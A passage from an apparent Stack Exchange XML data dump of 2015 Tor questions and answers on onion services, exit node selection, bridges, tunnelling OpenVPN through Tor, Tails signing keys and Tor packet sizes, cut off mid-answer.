  <row Id="9110" PostTypeId="2" ParentId="3784" CreationDate="2015-11-26T08:43:12.730" Score="0" Body="&lt;p&gt;Your analogy with a tunnel is not too bad, but you are not routing all e.g. foobar123foobar.onion traffic to your machine, only the specific ports you choose. If you expose an ssh server on port 22, that doesn't mean someone can scan foobar123foobar.onion and find out that you also have a web server on port 80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a VPN connection adds no value, TOR is your VPN. If you have an adversary that can find out that it's your node connecting to TOR and listening to that .onion address, they can probably find out where your VPN is going too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you don't need to have the services accessible on any public IP number, only on localhost. So if you expose an ssh server on port 22, you can configure sshd to only listen on localhost. People scanning your machine's public IP number (if it has one) will see a closed port 22.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The machine doesn't even need to have a public IP number, it can be deep behind a NAT somewhere (or be connection through a VPN!), as long as it is able to create a connection to some TOR node. And &lt;a href=&quot;https://tor.stackexchange.com/a/3810/7397&quot;&gt;as mirimir says&lt;/a&gt;, if you have several services on one machine, they can all get a .onion address each if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this clears things up.&lt;/p&gt;&#xA;" OwnerUserId="7397" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-26T08:43:12.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9111" PostTypeId="2" ParentId="9108" CreationDate="2015-11-26T08:52:03.083" Score="1" Body="&lt;p&gt;The bookmarks are stored in an sqlite database &lt;em&gt;inside the application bundle&lt;/em&gt;. If you right-click on the Tor Browser application and then select &quot;Show Package Contents&quot; from the context menu, you can see the folder structure inside the package.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database is located at TorBrowser.app/TorBrowser/Data/Browser/profile.default/places.sqlite  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can query (for example) the titles and URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sqlite3 /the/path/to/your/TorBrowser.app/TorBrowser/Data/Browser/profile.default/places.sqlite &quot;select moz_bookmarks.title, moz_places.url from moz_bookmarks, moz_places where moz_bookmarks.fk = moz_places.id;&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-26T08:52:03.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="2" ParentId="9037" CreationDate="2015-11-26T14:48:13.270" Score="0" Body="&lt;p&gt;Tick the check box shown as in the diagram &lt;a href=&quot;https://i.stack.imgur.com/g9N3x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;the check box 'My firewall only lets me to connect to certain ports'&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/g9N3x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9935" LastActivityDate="2015-11-26T14:48:13.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostTypeId="1" AcceptedAnswerId="9117" CreationDate="2015-11-26T19:28:47.740" Score="4" ViewCount="5815" Body="&lt;p&gt;On windows, there is an application called Advanced Onion Router (or, AdvTOR) which lets you choose your tor exit nodes, and it lists them all out. This is great, because some exit nodes have bandwidths that are thousands of times faster then that of others. On Linux, however, we don't have AdvTOR. There is a similar program called SelekTOR, but I found it unstable and really it didn't work because it would say it was connected to a certain node when it really wasn't.&lt;/p&gt;&#xA;&lt;p&gt;A list of tor nodes is here: &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And for the sake of this question let's say I wanted my exit node to be Orion:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;orion.enn.lu [94.242.246.24]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From what I have researched, you can change your exit node manually in the torrc file. If there are other ways, please let me know, I just need to know how to manually set my exit node to , for example, Orion listed above.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I don't necessarily need to do it manually. I'm on Ubuntu 15. if there are any programs with GUI's that would make this easier, let me know.&lt;/p&gt;&#xA;&lt;p&gt;Appreciate in advance anyone helping or looking at this. ;)&lt;/p&gt;&#xA;" OwnerUserId="10043" LastEditorUserId="38361" LastEditDate="2023-05-05T20:54:54.933" LastActivityDate="2023-05-05T20:54:54.933" Title="Tor on linux - how to select exit nodes manually" Tags="|tor-browser-bundle|configuration|relays|exit-relays|fast-relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="9116" PostTypeId="1" CreationDate="2015-11-26T19:36:29.373" Score="2" ViewCount="391" Body="&lt;p&gt;I need Tor to connect to my adult website &quot;test11.easyxtubes.com&quot;. For some reason it will not connect as it is HTTP. It seems all tor traffic HTTPS. My question is how can I force tor to connect to my HTTP website. If I need to alter torcc please provide me an example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS is Kali Linux 2.0&lt;/p&gt;&#xA;" OwnerUserId="10045" LastEditorUserId="14997" LastEditDate="2019-08-07T14:32:20.137" LastActivityDate="2019-08-07T14:32:20.137" Title="Tor connecting to HTTP" Tags="|https|kali-linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="9117" PostTypeId="2" ParentId="9115" CreationDate="2015-11-26T20:50:19.707" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;ExitNodes&lt;/code&gt; directive to restrict which exit nodes your client picks.&lt;br&gt;&#xA;From &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitNodes&quot; rel=&quot;nofollow&quot;&gt;the Tor manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ExitNodes node,node, ...&lt;/strong&gt;&lt;br&gt;&#xA;  A list of identity fingerprints, country codes, and address patterns of nodes to use as exit node [...]   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fingerprints: ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234 (so without spaces)  &lt;/li&gt;&#xA;&lt;li&gt;Country Codes: {us}, {de}, {nl}&lt;/li&gt;&#xA;&lt;li&gt;Address Patterns: 123.45.67.0/24, 98.76.0.0/16  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in your case, where you want one specific node, you can use the fingerprint. (Click on the nickname in the list you linked to.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;StrictNodes&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;StrictNodes 0 | 1&lt;/strong&gt;&lt;br&gt;&#xA;  If StrictNodes is set to 1, Tor will treat the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if doing so will break functionality for you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-11-26T21:13:53.857" LastActivityDate="2015-11-26T21:13:53.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9119" PostTypeId="1" AcceptedAnswerId="9124" CreationDate="2015-11-28T09:29:53.570" Score="0" ViewCount="62" Body="&lt;p&gt;I'd like to know if anonymity is comprised while setting Claw with my everyday mail addresses (name.surname@gmail, hotmail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought would answer yes, but i'm not expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so, what could you advise me to keep all the benefits from tails about mail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards for answering.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-11-28T22:57:38.223" Title="Does Claw compromise anonymity provided by Tails?" Tags="|tor-browser-bundle|anonymity|tails|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="1" CreationDate="2015-11-28T17:33:15.603" Score="0" ViewCount="136" Body="&lt;p&gt;I downloaded the latest Tor version and now need to configure a bridge relay, as the web site I am trying to view is still banning me (www.godlikeproductions.com). They must have very sophisticated IP identification software. How do I go to the &quot;Configure&quot; page since the Tor browser is now loaded?&lt;/p&gt;&#xA;" OwnerUserId="10060" LastEditorUserId="350" LastEditDate="2015-11-28T18:06:42.743" LastActivityDate="2015-11-28T18:13:28.280" Title="How to access &quot;Configure&quot; page to set up bridge relay" Tags="|relays|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="2" ParentId="9121" CreationDate="2015-11-28T18:05:30.640" Score="2" Body="&lt;p&gt;If a site is banning 'you' (they actually ban all Tor exit nodes) then using bridges will not help you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridges are an alternative way to &lt;em&gt;enter&lt;/em&gt; the Tor network, which can be useful if &lt;em&gt;your&lt;/em&gt; ISP blocks you from connecting to a normal Tor guard relay.&lt;br&gt;&#xA;Regardless of whether you use a bridge or not, you still &lt;em&gt;exit&lt;/em&gt; the network through the same exit nodes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to visit that site, you can look for a different VPN or proxy service, one that they haven't banned.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(Edit to add, to answer the actual question..)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To setup bridges, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the Tor Button, &lt;/li&gt;&#xA;&lt;li&gt;Select 'Tor Network Settings',&lt;/li&gt;&#xA;&lt;li&gt;Check 'My Internet Service Provider (ISP) blocks connections to the Tor network'.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-11-28T18:13:28.280" LastActivityDate="2015-11-28T18:13:28.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostTypeId="2" ParentId="9119" CreationDate="2015-11-28T22:57:38.223" Score="0" Body="&lt;p&gt;Well, of course, if you specify your say who you are. It is like wearing a mask and telling someone who you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of using Tor in such a scenario would be to make it harder for someone to find out where you are (if you don't mail photos or disclose your location otherwise). So you might make it harder for your Gmail or Hotmail to track your behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to replace anonymity with pseudonymity an option would be to create a new account with some pseudonym (and not your real name/data) and never use your other address on TAILS. If you choose a provider that requires you to receive a text message you might want to use a prepaid card. Even though then someone obtaining a cell phone tower dump will at least have a location associated with the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that you must not ever use that email address outside of Tor or your anonymity will be compromised, including everything that was ever sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that even when you have TLS/SSL enabled email is not end to end encrypted, so your email provider will still be able to read the content of your emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want anonymity in emails though the best option might be to use &lt;a href=&quot;https://en.wikipedia.org/wiki/Anonymous_remailer&quot; rel=&quot;nofollow&quot;&gt;anonymous remailers&lt;/a&gt;. They use a system similar to Tor and can be combined with Tor. Their major downside is that they are slower than normal email and that there are not so many users, so you might stand out using it, which is why using it over Tor might be a good idea.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-11-28T22:57:38.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9125" PostTypeId="2" ParentId="9107" CreationDate="2015-11-28T23:14:14.487" Score="2" Body="&lt;p&gt;What you describe actually is an option. This a reason that everyone is encouraged to run relays themselves. It increases how hard it is. Even if there is parties with bad intentions, when they don't work together it actually benefits the network. Making it harder to create a relay puts a smaller group into power, which again makes it easier for an attacker to bring up the resources required to successfully attack Tor.&lt;/p&gt;&#xA;&lt;p&gt;In the end current systems to protect privacy raise the barrier to successfully compromise your anonymity, so an attacker needs more and more resources. With every new relay and especially with every new &amp;quot;good&amp;quot; relay it gets harder and harder for an individual user to be successfully attacked.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[...] it is possible for an observer who can view both you and either the destination website or your Tor exit node to correlate timings of your traffic as it enters the Tor network and also as it exits. Tor does not defend against such a threat model.&lt;/p&gt;&#xA;&lt;p&gt;In a more limited sense, note that if a censor or law enforcement agency has the ability to obtain specific observation of parts of the network, it is possible for them to verify a suspicion that you talk regularly to your friend by observing traffic at both ends and correlating the timing of only that traffic. Again, this is only useful to verify that parties already suspected of communicating with one another are doing so. In most countries, the suspicion required to obtain a warrant already carries more weight than timing correlation would provide.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, since Tor reuses circuits for multiple TCP connections, it is possible to associate non anonymous and anonymous traffic at a given exit node, so be careful about what applications you run concurrently over Tor. Perhaps even run separate Tor clients for these applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-11-28T23:14:14.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9127" PostTypeId="1" CreationDate="2015-11-29T00:13:38.213" Score="1" ViewCount="2834" Body="&lt;p&gt;I have some questions about TOR and Obfsproxy packet size.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;TOR cell size is 512 bytes but most TOR packets have size of 586 bytes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question is that why there is such difference in size (74 bytes difference)?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;In my own testing, instead of TOR packets with size of 586 bytes, there are packets with size of 543 bytes in TOR traffic and packets with size of 565 bytes in Obfsproxy traffic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question here is that why doesn't TOR or Obfsproxy generate 586 bytes? the size that reported in lots of papers like this &lt;a href=&quot;http://arxiv.org/pdf/1305.3199.pdf&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;In my own testing on TOR traffic, from 9939 packets that were sent from client to server, there were 2648 packets with different sizes than 543, like 126,1086,1629,4101,612 and so on. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If TOR cell size is fixed, then why are there packets with different sizes than 543? (why don't all of the packets have the same 543 bytes in size?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relating to above question, there are lots of packets with size of 1460 bytes in backward direction (from server to client). So what happens to the fixed cell size?&lt;/p&gt;&#xA;" OwnerUserId="8107" LastActivityDate="2015-11-30T13:15:43.890" Title="TOR and Obfsproxy packet size" Tags="|protocol|pluggable-transports|obfsproxy|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostTypeId="1" CreationDate="2015-11-29T02:02:57.560" Score="4" ViewCount="16211" Body="&lt;p&gt;I have an OpenVPN server and I want to be able to route all requests that are made to that OpenVPN server through a proxy, so that the requests will look like they are made be the internet address of the exit node. For example, a normal request looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;request -&amp;gt; openvpn -&amp;gt; send data back to user with the IP of the machine&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want it to go through TOR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;request -&amp;gt; openvpn -&amp;gt; tor -&amp;gt; send data back to user with the IP of the proxy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerDisplayName="user10065" LastActivityDate="2018-03-18T15:31:43.357" Title="Send all OpenVPN traffic through TOR?" Tags="|configuration|vpn|openvpn|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="2" ParentId="9128" CreationDate="2015-11-29T02:57:37.543" Score="2" Body="&lt;p&gt;I have found that this works pretty well:&#xA;(For this, I'm assuming that you have installed tor using &quot;apt-get install tor&quot; and not using the Tor browser bundle.)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this line to the &quot;/etc/tor/torrc&quot; file to tunnel vpn traffic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SocksPort 9150 PreferSOCKSNoAuth&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you will need to tell OpenVPN to use a proxy.&#xA;Add this to your VPN config file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;socks-proxy localhost 9150&#xA; socks-proxy-retry&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart tor:&#xA;sudo service tor restart&#xA;*you may need to reload the config for tor with: &quot;sudo service tor reload&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you should be able to run openvpn AFTER tor has established a connection to the tor network.&#xA;sudo openvpn --config path/to/vpn/config/file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit :)&lt;/p&gt;&#xA;" OwnerUserId="10067" LastActivityDate="2015-11-29T02:57:37.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9130" PostTypeId="1" CreationDate="2015-11-29T04:59:57.347" Score="1" ViewCount="3670" Body="&lt;p&gt;When I use the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --check-sigs A490D0F4D311A4153E2BB7CADBB802B258ACD84F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of getting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sig!         0x1202821CBE2CD9C1 2015-01-19  Tails developers (signing key) &amp;lt;tails@boum.org&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   4096R/58ACD84F 2015-01-18 [expires: 2017-01-11]&#xA;uid       [ unknown] Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-01-18  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;uid       [ unknown] Tails developers &amp;lt;tails@boum.org&amp;gt;&#xA;sig!3        58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sub   4096R/752A3DB6 2015-01-18 [expires: 2017-01-11]&#xA;sig!         58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;sub   4096R/2F699C56 2015-01-18 [expires: 2017-01-11]&#xA;sig!         58ACD84F 2015-09-27  Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;&#xA;134 signatures not checked due to missing keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not see 1202821CBE2CD9C1 anywhere here, and the expiration date of 2017-01-11 doesn't seem right. I presume I am doing something wrong.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="7883" LastEditDate="2015-12-01T05:35:39.430" LastActivityDate="2016-07-12T19:53:18.813" Title="Tails signing key verification" Tags="|tails|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9131" PostTypeId="2" ParentId="1814" CreationDate="2015-11-29T05:11:32.307" Score="4" Body="&lt;p&gt;I have been researching this field for a media project I am working on, and while I am in no way qualified to answer this question as well as others here, it seems to me that Whonix is the thing to use if you are using your personal home computer, for the best possible safety and anonymity. While Tails is probably best used for short periods of time on a dedicated secondary mobile platform that is not used for anything personal - ever.  Whonix is not safe for local forensics while Tails is. ;)&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-11-29T05:11:32.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="1" AcceptedAnswerId="9133" CreationDate="2015-11-29T10:28:31.620" Score="7" ViewCount="5003" Body="&lt;p&gt;I have generated a custom onion hostname and key using eschalot. Tor will run fine on the default hostname (the one Tor generated itself), but not with my custom domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is with the permissions in /var/lib/tor/hidden_service/&#xA;For this example, ../hidden_service/ has this structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hidden_service&#xA;  -folder2    &amp;lt;(contains custom key&amp;amp;name)&#xA;   hostname&#xA;   private_key  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hostname &amp;amp; private_key in the top directory will serve a site with no hiccups, however, after editing my torrc to point to folder2, tor returns the following permission error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 29 09:57:52.997 [warn] Permissions on directory /var/lib/tor/hidden_service/folder2 are too permissive.&#xA;Nov 29 09:57:52.997 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;Nov 29 09:57:52.997 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have chmod'ed the directory to every possible combination I could imagine would apply, I've chown'ed the directory with and without -R to debian-tor:debian-tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Ubuntu 14.04.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I've been searching and though there are similar questions, most users self fixed without explanation.&lt;/p&gt;&#xA;" OwnerUserId="10072" LastEditorUserId="350" LastEditDate="2015-11-29T20:10:12.327" LastActivityDate="2016-10-02T15:45:15.100" Title="When using custom keys, what permissions do &quot;/var/lib/tor/hidden_service/&quot; need?" Tags="|onion-services|linux|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9133" PostTypeId="2" ParentId="9132" CreationDate="2015-11-29T10:41:11.497" Score="3" Body="&lt;p&gt;I don't know if it is strictly necessary, for me it works with these permissions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;700 (or drwx------)&lt;/code&gt; for the folder (folder2 in your case)&lt;br&gt;&#xA;&lt;code&gt;600 (or -rw-------)&lt;/code&gt; for the private_key file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both owned by the user and group that runs the tor process.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="14561" LastEditDate="2016-10-02T15:45:15.100" LastActivityDate="2016-10-02T15:45:15.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostTypeId="2" ParentId="9105" CreationDate="2015-11-29T10:42:49.423" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can use &lt;a href=&quot;http://xhaus.com/headers&quot; rel=&quot;nofollow&quot; title=&quot;xhaus header tool&quot;&gt;xhaus.com/headers&lt;/a&gt; to see what headers your browser sends.&lt;/li&gt;&#xA;&lt;li&gt;You can spoof your user-agent under 'Browser Settings'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10072" LastActivityDate="2015-11-29T10:42:49.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9136" PostTypeId="1" AcceptedAnswerId="9235" CreationDate="2015-11-29T19:03:05.493" Score="3" ViewCount="571" Body="&lt;p&gt;Is it possible to use multiple tor circuits chained together?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor_circuit --&amp;gt; tor_circuit --&amp;gt; ... --&amp;gt; tor_circuit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know of a solution on windows using &lt;a href=&quot;https://github.com/CrowdStrike/Tortilla&quot; rel=&quot;nofollow&quot;&gt;tortilla&lt;/a&gt; for windows that allows forwarding all traffic on a workstation through tor. Consequently, using a virtual machine in conjunction with tor allows for a tor chain of length 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor_circuit --&amp;gt; tor_circuit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that a tor circuit can use a predefined number of nodes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry --&amp;gt; relay --&amp;gt; ... --&amp;gt; relay --&amp;gt; exit &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in this instance the connection has the same &lt;strong&gt;id&lt;/strong&gt; over the whole chain which can be identified by an attacker controlling a number of the respective nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using new chains, chained together would prevent that. But how can it be done?&lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="7410" LastEditDate="2015-12-01T13:58:28.737" LastActivityDate="2015-12-16T18:50:10.253" Title="Tor circuit chaining" Tags="|configuration|onion-services|circuit|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9140" PostTypeId="1" CreationDate="2015-11-30T11:30:53.350" Score="1" ViewCount="275" Body="&lt;p&gt;One particular site is frequently returning 503/4 errors. If I retry often enough, 50-60 times over the period of an hour, it always eventually gets through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no problem accessing the site outside of tor. I've checked with online site testers, and the site is accessible from all over the globe. The problem occurs both using socks via polipo and when using the default tor browser. It occurs when running tor from different machines in different continents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is anyway I can debug this, or what it might be that is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failure messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Received HTTP code 504 from proxy after CONNECT&#xA; HTTP/1.1 504 Couldn't connect: General SOCKS server failure&#xA; HTTP/1.1 504 Couldn't connect: SOCKS error: TTL expired&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10081" LastEditorUserId="10081" LastEditDate="2015-11-30T12:10:49.057" LastActivityDate="2015-11-30T12:10:49.057" Title="Frequent 503/4 errors for specific site. Site okay outside of tor" Tags="|configuration|socks|error|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-29T17:38:48.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="2" ParentId="9127" CreationDate="2015-11-30T13:15:43.890" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;TOR cell size is 512 bytes but most TOR packets have size of 586&#xA;  bytes. My question is that why there is such difference in size (74 bytes difference)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The 586-byte packet being referenced in the papers is Tor's 512-byte cell wrapped in the headers of three different protocols: TLS, TCP, IP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my set up, using Wireshark, I'm seeing lots of outgoing packets with an &lt;em&gt;overall&lt;/em&gt; length of 609 bytes. (This is equivalent to your 597 bytes.) This is the &quot;on the wire&quot; size, meaning it also takes into account the Ethernet frame header (which is 14 bytes). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking inside the frame, I have the following, in bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ethernet   size 609  (including header, 14 bytes)&#xA;IP         size 595  (including header, 20 bytes)&#xA;TCP        size 575  (including header, 32 bytes)&#xA;Data       size 543&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The size of my 595-byte IP packet is the equivalent to the 586-byte packet referenced in the documents - their number doesn't include the Ethernet header (I &lt;em&gt;think&lt;/em&gt;). The difference between these two sizes could be accounted for by noting that TCP and IP headers can vary in size, depending on the type of traffic, what options are used in the headers, and any padding. (I don't have a solid answer for this part - someone else might know better. This &lt;em&gt;could&lt;/em&gt; also be where variable-length Tor cells come into play.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In my own testing, instead of TOR packets with size of 586 bytes,&#xA;  there are packets with size of 543 bytes in TOR traffic and packets&#xA;  with size of 565 bytes in Obfsproxy traffic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once the Ethernet, IP and TCP headers are stripped off, we're left with the &quot;data&quot;. This is Tor's 512-byte cell together with TLS Application Data, which is used to make Tor traffic look like HTTPS traffic. (This is basically the TLS header and encryption, on which there's a brief discussion in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12778&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; ticket). On my set up I'm also seeing 543 bytes for the size of this 